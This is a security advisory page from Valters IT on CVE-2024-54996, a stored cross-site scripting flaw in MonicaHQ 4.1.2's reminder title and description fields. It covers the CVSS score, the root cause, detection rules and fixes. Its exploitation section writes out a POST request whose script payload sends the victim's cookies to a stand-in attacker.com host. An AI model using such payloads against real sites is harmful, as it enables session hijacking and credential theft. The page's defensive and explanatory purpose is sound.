CVE-2024-54996
Executive Summary
CVE-2024-54996 identifies multiple authenticated Client-Side Injection vulnerabilities in MonicaHQ version 4.1.2. The flaws exist in the title and description parameters of the /people/ID/reminders/create endpoint. An authenticated attacker can inject arbitrary client-side scripts (e.g., JavaScript) into the reminder creation form, leading to stored Cross-Site Scripting (XSS). When other users view the crafted reminder, the injected script executes in their browser context, potentially allowing session hijacking, credential theft, or defacement. The vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation). No official patch has been released as of this analysis.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
MonicaHQ is a PHP/Laravel-based open-source personal relationship manager. The application is distributed via GitHub and Docker Hub. No known supply chain compromise has been reported for this specific CVE, but the lack of a patch increases risk for all deployments using version 4.1.2.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
- Base Score: 5.4 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: Low (PR:L) – attacker must be authenticated
- User Interaction: Required (UI:R) – victim must view the crafted reminder
- Scope: Changed (S:C) – injection affects other components
- Confidentiality Impact: Low (C:L) – limited data exposure
- Integrity Impact: Low (I:L) – limited modification possible
- Availability Impact: None (A:N)
Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the ease of exploitation (authenticated, low complexity) elevate the real-world risk. An attacker with a low-privilege account can persistently target other users.
Deep Dive & Mechanics
The vulnerability resides in the reminder creation functionality. The title and description fields are not properly sanitized or encoded before being stored and later rendered in the browser. When a user visits /people/{id}/reminders/create and submits a reminder, the input is stored in the database without escaping HTML/JavaScript. Upon viewing the reminder list or detail page, the stored payload is rendered as HTML, allowing script execution.
Root Cause: The application uses Laravel's Blade templating engine, but the output is not escaped using {{ }} (which auto-escapes) or the e() helper. Instead, raw HTML is rendered via {!! !!} or similar unescaped output directives.
Attack Flow:
- Attacker authenticates to MonicaHQ.
- Attacker navigates to
/people/{id}/reminders/create. - Attacker injects a payload like
<script>alert('XSS')</script>into thetitleordescriptionfield. - The payload is stored in the database.
- When any user (including admins) views the reminder, the script executes in their browser.
Vulnerable vs. Patched Code
Vulnerable Code (MonicaHQ 4.1.2):
// In a Blade template (e.g., reminders/show.blade.php)
<div class="title">
{!! $reminder->title !!}
</div>
<div class="description">
{!! $reminder->description !!}
</div>
Patched Code (Hypothetical Fix):
<div class="title">
{{ $reminder->title }}
</div>
<div class="description">
{{ $reminder->description }}
</div>
The patched version uses {{ }} which triggers Laravel's automatic HTML escaping, neutralizing any injected scripts.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A valid user account on MonicaHQ 4.1.2.
- Access to the reminder creation endpoint.
Exploit Steps:
- Log in to MonicaHQ.
- Send a POST request to
/people/{id}/reminders/createwith a malicious payload.
Example Payload (title parameter):
POST /people/1/reminders/create HTTP/1.1
Host: target-monica-instance.com
Content-Type: application/x-www-form-urlencoded
Cookie: [session_cookie]
title=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>&description=Test&reminder_type=1
Alternative Payload (description parameter):
<img src=x onerror=alert(1)>
Lab Setup (Docker):
docker run -d -p 80:80 monicahq/monica:4.1.2
Then access the web UI, create a user, and test the injection.
Blue Team (Detection & Hardening)
Detection:
- Monitor for unusual characters in
titleanddescriptionfields (e.g.,<script>,onerror,javascript:). - Use WAF rules to block common XSS patterns in POST parameters.
Hardening (Temporary Workaround):
- Apply a Content Security Policy (CSP) header to mitigate script execution:
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
- Disable raw Blade output (
{!! !!}) in custom templates until a patch is applied.
Indicators of Compromise (IOCs)
Network IOCs:
- POST requests to
/people/*/reminders/createcontaining<script>oronerrorpatterns. - Outbound connections to attacker-controlled domains from the MonicaHQ server.
- POST requests to
Host IOCs:
- Database entries in the
reminderstable withtitleordescriptioncontaining HTML/JavaScript. - Log entries showing unusual characters in reminder fields.
- Database entries in the
File IOCs:
- Modified Blade templates (e.g.,
reminders/show.blade.php) if an attacker gains file write access.
- Modified Blade templates (e.g.,
Detection Engineering
YARA Rule
rule CVE_2024_54996_XSS_Payload {
meta:
description = "Detects XSS payloads targeting MonicaHQ reminder fields"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-54996"
strings:
$xss1 = /<script[^>]*>.*?<\/script>/is
$xss2 = /onerror\s*=\s*["']?[^"'\s>]+/is
$xss3 = /onload\s*=\s*["']?[^"'\s>]+/is
$xss4 = /javascript\s*:/is
condition:
any of them
}
Sigma Rule
title: MonicaHQ Reminder XSS Injection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects XSS attempts in MonicaHQ reminder creation
author: Valters IT
date: 2025/04/10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: '/people/*/reminders/create'
keywords:
- '<script'
- 'onerror'
- 'onload'
- 'javascript:'
condition: selection and keywords
falsepositives:
- Legitimate use of HTML in descriptions (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-54996 MonicaHQ Reminder XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/people/"; http_uri; content:"/reminders/create"; http_uri; pcre:"/(<script|onerror|onload|javascript:)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable Raw Blade Output: If you have access to the source code, replace
{!! !!}with{{ }}in all reminder-related templates. - Apply CSP: Add a strict Content Security Policy header to mitigate XSS impact.
- Input Validation: Implement server-side validation to reject HTML tags in
titleanddescriptionfields.
Long-Term Fix:
- Upgrade to a patched version once released by MonicaHQ.
- Conduct a full code audit for similar unescaped output patterns.
Workaround:
- Use a Web Application Firewall (WAF) to block XSS payloads in POST parameters.
Valters IT